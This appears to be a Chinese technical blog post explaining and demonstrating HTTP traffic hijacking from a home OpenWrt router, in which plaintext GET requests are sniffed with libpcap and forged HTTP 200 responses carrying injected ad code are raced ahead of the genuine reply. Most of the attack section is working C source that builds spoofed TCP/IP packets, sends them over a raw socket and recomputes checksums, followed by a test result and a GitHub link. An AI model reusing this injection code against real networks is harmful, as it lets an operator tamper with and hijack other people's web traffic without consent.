流量劫持

Table of Contents

一. 原理

二. 源码实现

三. 测试

github地址:


流量劫持比较复杂,一般来说运营商,路由器厂商,黑客都可能是流量劫持操作者。基于国内大部分网站以http明文协议为主,这无疑给劫持者提供了土壤。

本文演示了家庭路由器流量劫持实现,公共WIFI连接授权实现有点差异,它是用iptables重定向至webserver,有兴趣的同学可参考nodogsplash实现源码。

 

一. 原理

 网络拓扑图

 

原理:

1. 嗅探用户http get请求流量。

2. 伪造http 200包(插入广告代码)。

 

两种场景:

1. 路由器侧

在路由器侧通过旁路的方式(libpcap)嗅探流量,并将伪造响应先于真实响应前发送给用户,后到的真实响应会被协议栈丢弃。

2. ISP侧

ISP网络设备流量分光至服务器,通过DPDK方式嗅探流量,并回应200 OK包。

 

二. 源码实现

2.1 实现环境

router: TP-LINK

router os: openwrt

lib:libpcap 

 

2.2 核心代码

1. libpcap流量采集

2. DPI解析

3. 协议伪造

/**
 * 发送HTTP响应
 */
bool sendHttpResponse( char *buff, char *response )
{
    struct iphdr *ip = (struct iphdr*)buff;
    struct tcphdr *tcp = (struct tcphdr*)((char*)buff + sizeof(struct iphdr));

    int nHeadLen = ip->ihl*4 + tcp->doff*4;
    int Length = htons(ip->tot_len) - ip->ihl*4 - tcp->doff*4;

    char *pPacketBuffer = this->PacketBuffer;
    memset( (void*)pPacketBuffer,0,PACKET_BUFFER_LEN );

    // 添加html
    char *ContentBuffer = pPacketBuffer + 350;
    int nContentLen = snprintf( ContentBuffer,
                                1300,
                                response );

    // 内容长度
    char strLen[25];
    int cLen = sprintf( strLen,
                        "%d\r\n\r\n",
                        nContentLen );

    /*
     * nHeadLen(iphead +tcphead) + http_head + content_length + content
     */
    pPacketBuffer = ContentBuffer - ( nHeadLen + sizeof(HTTP_HEAD)-1 + cLen );
    memcpy( pPacketBuffer, ip, nHeadLen );
    memcpy( pPacketBuffer + nHeadLen, HTTP_HEAD, sizeof(HTTP_HEAD) );
    memcpy( pPacketBuffer + nHeadLen + sizeof(HTTP_HEAD)-1,strLen,cLen );

    // IP
    struct iphdr *pTempIP = (struct iphdr*)pPacketBuffer;
    pTempIP->version = 4;
    pTempIP->ihl = 5;
    pTempIP->protocol = IPPROTO_TCP;
    pTempIP->saddr = ip->daddr;
    pTempIP->daddr = ip->saddr;

    // TCP
    struct tcphdr *pTempTcp = (struct tcphdr*)((char*)pTempIP + sizeof(struct iphdr));
    if( pTempTcp == NULL )
    {
        printf( "%s\n","TCP NULL" );
        return false;
    }

    pTempTcp->source = tcp->dest;
    pTempTcp->dest = tcp->source;
    pTempTcp->seq = tcp->ack_seq;
    pTempTcp->ack_seq = ntohl( ntohl(tcp->seq) + Length );
    pTempTcp->ack = 1;
    pTempTcp->fin = 0;
    pTempTcp->psh = 1;

    // 校验和计算
    int nLen = nHeadLen + sizeof(HTTP_HEAD)-1 + cLen + nContentLen;
    pTempIP->tot_len = htons(nLen);
    IPCheckSum(pTempIP);

    // 原始套接字发送HTTP响应
    m_addr.sin_addr.s_addr = pTempIP->daddr;
    int count = sendto( m_rawsock,
                        (const char*)pTempIP,
                        ntohs(pTempIP->tot_len),
                        0,
                        (struct sockaddr *)&m_addr,
                        sizeof(struct sockaddr_in) );

    return count > 0;
}

 

 4. 校验和计算

 a. CRC32校验和计算,参见内核实现。

 b. TCP/UDP的checksum,需要包含一个12字节的伪首部。TCP校验和覆盖TCP首部和TCP数据,而IP首部中的校验和只覆盖IP的首部,不覆盖IP数据报中的任何数据。

 

// IP检验和计算
int IPCheckSum( iphdr* ip )
{
    if( NULL==ip || 4 != ip->version || 5 > ip->ihl )
    {
        return -1;
    }

    unsigned char protocol = ip->protocol;
	
    if( !(protocol==IPPROTO_TCP || protocol==IPPROTO_UDP) )
    {
        ip->check = 0;
        ip->check = CheckSum((unsigned short*)ip, sizeof(struct iphdr));
        return 0;
    }

    char *ipdata = (char*)ip + ip->ihl*4;
	
	// 在tcp/udp头部上添加伪头部,注:直接修改ip头部分,实现比较巧妙
    CheckSumHeader *check = (CheckSumHeader*)(ipdata - sizeof(CheckSumHeader));

	// temp用于备份ip头部数据
    char temp[sizeof(CheckSumHeader)];
    memcpy(temp, check, sizeof(CheckSumHeader));
	
    check->SrcIP = ip->saddr;
    check->DestIP = ip->daddr;
    check->Zero = 0;
    check->Protocol = protocol;
    check->Length = ntohs(ntohs(ip->tot_len) - sizeof(struct iphdr));

	// tcp/udp从伪头部开始计算校验和
    if (protocol == IPPROTO_TCP)
    {
        struct tcphdr *tcp = (struct tcphdr*)ipdata;
        tcp->check = 0;
        tcp->check = CheckSum((unsigned short*)check,
                               ntohs(ip->tot_len) - sizeof(struct ip) + sizeof(CheckSumHeader));   // psd + tcp
    }
    else if (protocol == IPPROTO_UDP)
    {
        struct udphdr *udp = (struct udphdr*)ipdata;
        udp->check = 0;
        udp->check = CheckSum((unsigned short*)check,
                              ntohs(ip->tot_len) - sizeof(struct ip) + sizeof(CheckSumHeader));   // psd + tcp
    }

	// 恢复原ip头数据
    memcpy(check, temp, sizeof(CheckSumHeader));

    // 计算IP校验和
    ip->check = 0;
    ip->check = CheckSum((unsigned short*)ip, sizeof(struct iphdr));
    return 0;
}

 

 

三. 测试

请求 http://www.163.com,浏览器显示 Hello world。

 

最后

本文演示了家庭路由器流量劫持实现,由于家庭流量较小,且路由器资源有限,用传统的libpcap勉强能支撑。

如果是ISP机房流量,则需要考虑DPDK高性能采集框架。

近年来国内厂商对劫持引起重视,BAT都采用了https加密网站。

 

github地址:

https://github.com/spkettas/httpfake

 

 

 

 

 

 

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值